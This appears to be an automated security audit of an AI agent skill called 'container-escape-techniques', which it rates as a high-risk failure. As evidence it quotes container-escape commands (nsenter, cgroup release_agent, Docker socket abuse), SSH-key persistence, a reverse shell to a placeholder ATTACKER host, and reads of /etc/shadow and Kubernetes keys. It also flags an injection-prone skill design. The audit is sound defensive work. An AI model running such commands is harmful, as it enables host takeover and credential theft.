container-escape-techniques

Fail

Audited by Gen Agent Trust Hub on Nov 9, 2026

Risk Level: HIGHPRIVILEGE_ESCALATIONPERSISTENCEREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [PRIVILEGE_ESCALATION]: Provides actionable techniques to bypass container isolation and gain full root access on the host machine.
  • Evidence: Use of nsenter --target 1 --mount --uts --ipc --net --pid to enter host namespaces from a privileged container.
  • Evidence: Instructions for mounting host block devices (e.g., /dev/sda1) to the container filesystem to access host files.
  • [PERSISTENCE]: Includes instructions for establishing permanent access on the compromised host system.
  • Evidence: Command to append attacker SSH keys to /root/.ssh/authorized_keys on the host filesystem.
  • Evidence: Instructions to create crontab entries that execute a reverse shell (bash -i >& /dev/tcp/ATTACKER/4444 0>&1) to maintain connectivity.
  • [REMOTE_CODE_EXECUTION]: Contains reverse shell payloads intended to create outbound connections to external infrastructure for command and control.
  • Evidence: Explicit use of the /dev/tcp/ shell redirection pattern for reverse shells which allows arbitrary command execution from a remote listener.
  • [DATA_EXFILTRATION]: Details how to locate and read sensitive system credentials and configuration files once the container boundary is breached.
  • Evidence: Commands targeting /etc/shadow, /root/.ssh/id_rsa, and Kubernetes PKI certificates (/etc/kubernetes/pki/).
  • [COMMAND_EXECUTION]: Extensive use of high-risk system commands to manipulate container runtimes and kernel features.
  • Evidence: Manipulation of cgroup v1 release_agent and notify_on_release to trigger host-side execution.
  • Evidence: Abuse of the Docker socket (/var/run/docker.sock) to spawn new privileged containers that mount the host root directory.
  • [DYNAMIC_EXECUTION]: Orchestrates the creation and execution of scripts at runtime to facilitate kernel-level escapes.
  • Evidence: Writing shell scripts to the local filesystem (e.g., /cmd) which are then triggered via kernel notification handlers in cgroup escapes.
  • [INDIRECT_PROMPT_INJECTION]: The skill ingests untrusted environmental data and possesses high-privilege capabilities, creating a surface for indirect injection attacks.
  • Ingestion points: Reads from /proc/self/status, /etc/mtab, and the Docker socket (/var/run/docker.sock).
  • Boundary markers: Absent; there are no instructions to ignore embedded commands in the processed data.
  • Capability inventory: Includes full subprocess execution, host filesystem writes, and network operations (reverse shells).
  • Sanitization: Absent; the skill directly interpolates environment-derived data into shell commands.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Nov 9, 2026, 12:00 PM